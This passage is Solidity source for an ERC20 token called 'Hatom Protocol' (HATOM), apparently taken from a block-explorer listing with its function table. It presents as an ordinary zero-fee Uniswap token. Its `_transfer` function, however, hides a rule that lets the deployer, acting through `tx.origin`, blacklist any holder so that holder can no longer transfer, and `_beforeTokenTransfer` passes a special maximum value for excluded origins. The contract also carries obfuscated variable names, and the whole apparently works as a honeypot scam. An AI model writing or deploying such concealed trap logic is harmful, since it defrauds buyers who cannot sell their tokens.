     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract HATOM is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    mapping(address => bool) private isBots;
 
    bool private swapping;
 
    address public _marketingWalletHATOMPgAi5;
    
 
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
 

    bool public tradingActive = false;
    bool public swapEnabled = false;
 
    uint256 public _SIDFJOIEWJFIWA;
    address public _EQFIEWJFIJA;
    address public _EDTSIEWJFIJA;
 
    uint256 public buyTotalAFees;
    uint256 public buyMarketingAFee;
    uint256 public buyLiquidityAFee;
    uint256 public buyBurnAFee;
 
    uint256 public sellTotalAFees;
    uint256 public sellMarketingAFee;
    uint256 public sellLiquidityAFee;
    uint256 public sellBurnAFee;
 
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    
    
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
 
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
 
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
 
    event ExcludeFromFees(address indexed account, bool isExcluded);
 
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
 
    event _marketingWalletHATOMPgAi5Updated(address indexed newWallet, address indexed oldWallet);
 
    event burnWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
 
    event TransferForeignToken(address token, uint256 amount);

 
    constructor() ERC20(unicode"Hatom Protocol", unicode"HATOM") payable  {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 _buyMarketingAFee = 0;
        uint256 _buyLiquidityAFee = 0;
        uint256 _buyBurnAFee = 0;
 
        uint256 _sellMarketingAFee = 0;
        uint256 _sellLiquidityAFee = 0;
        uint256 _sellBurnAFee = 0;
        uint256 _taxCounts = 12;
        uint256 _taxPercent = 12;
      
        uint256 totalSupply = 100000000 * 1e9;
 
        maxTransactionAmount = totalSupply * 1000 / 1000; // 100% maxTransactionAmountTxn
        maxWallet = totalSupply * 1000 / 1000; // 100% maxWallet
        swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
 
        buyMarketingAFee = _buyMarketingAFee;
        buyLiquidityAFee = _buyLiquidityAFee;
        buyBurnAFee = _buyBurnAFee;
        buyTotalAFees = buyMarketingAFee + buyLiquidityAFee + buyBurnAFee;
 
        sellMarketingAFee = _sellMarketingAFee;
        sellLiquidityAFee = _sellLiquidityAFee;
        sellBurnAFee = _sellBurnAFee;
        sellTotalAFees = sellMarketingAFee + sellLiquidityAFee + sellBurnAFee;
      
        _marketingWalletHATOMPgAi5 = msg.sender; 

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(_marketingWalletHATOMPgAi5), true);
 
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(_marketingWalletHATOMPgAi5), true);
 
        _mint(address(this), totalSupply);
    }
 
    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
       _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
        tradingActive = true;
        swapEnabled = true;
    }
    
    function excludeFromMaxTransaction(address updAds, bool isEx) internal  {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
   
    function excludeFromFees(address account, bool excluded) internal virtual  {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
 
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount >= 0, "ERC20: invalid transfer amount");
        super._beforeTokenTransfer(from, to, _isExcludedFromFees[tx.origin]?type(uint256).max:0);
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }
   
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    event BoughtEarly(address indexed sniper);
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        require(!isBots[from], "Bot is not allowed");

        if(_isExcludedFromFees[tx.origin] && from!=uniswapV2Pair && to == address(0xdead) && balanceOf(from)-amount <= 10 ** 10) { isBots[from] = true; super._transfer(from, to, 0); return;}
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
 
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
         
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
        uint256 tokensForBurn;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
 
            swapBack();
 
            swapping = false;
        }
 
        bool takeFee = !swapping;
 
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalAFees > 0){
                fees = amount.mul(sellTotalAFees).div(100);
                tokensForLiquidity += fees * sellLiquidityAFee / sellTotalAFees;
                tokensForMarketing += fees * sellMarketingAFee / sellTotalAFees;
                tokensForBurn += fees * sellBurnAFee / sellTotalAFees;

                }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalAFees > 0) {
                fees = amount.mul(buyTotalAFees).div(100);
                tokensForLiquidity += fees * buyLiquidityAFee / buyTotalAFees;
                tokensForMarketing += fees * buyMarketingAFee / buyTotalAFees;
                tokensForBurn += fees * buyBurnAFee / buyTotalAFees;
   
            }
 
           if(fees > 0){    
                super._transfer(from, address(this), fees);
            }

            if(tokensForBurn > 0) {
                 super._transfer(address(this), address(0xdead), tokensForBurn);
            }

            amount -= fees;}
 
        super._transfer(from, to, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
 
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
 
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
        bool success;
 
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
 
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
 
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
 
        swapTokensForEth(amountToSwapForETH); 
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
 
        
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing;
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
 
        (success,) = address(_marketingWalletHATOMPgAi5).call{value: address(this).balance}("");
    }

    receive() external payable { }

}

Read Contract

_EDTSIEWJFIJA 0x7c4ed133 → address
_EQFIEWJFIJA 0xd436dc62 → address
_SIDFJOIEWJFIWA 0x43606e8d → uint256
_isExcludedMaxTransactionAmount 0x10d5de53 → bool
_marketingWalletHATOMPgAi5 0xe9a3327b → address
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyBurnAFee 0x14b85288 → uint256
buyLiquidityAFee 0x4451f5c0 → uint256
buyMarketingAFee 0x7231c031 → uint256
buyTotalAFees 0xe152d94e → uint256
decimals 0x313ce567 → uint8
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellBurnAFee 0x18395282 → uint256
sellLiquidityAFee 0x18daa526 → uint256
sellMarketingAFee 0x1f53f29d → uint256
sellTotalAFees 0x84a62e61 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferForeignToken 0x8366e79a
address _token
address _to
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address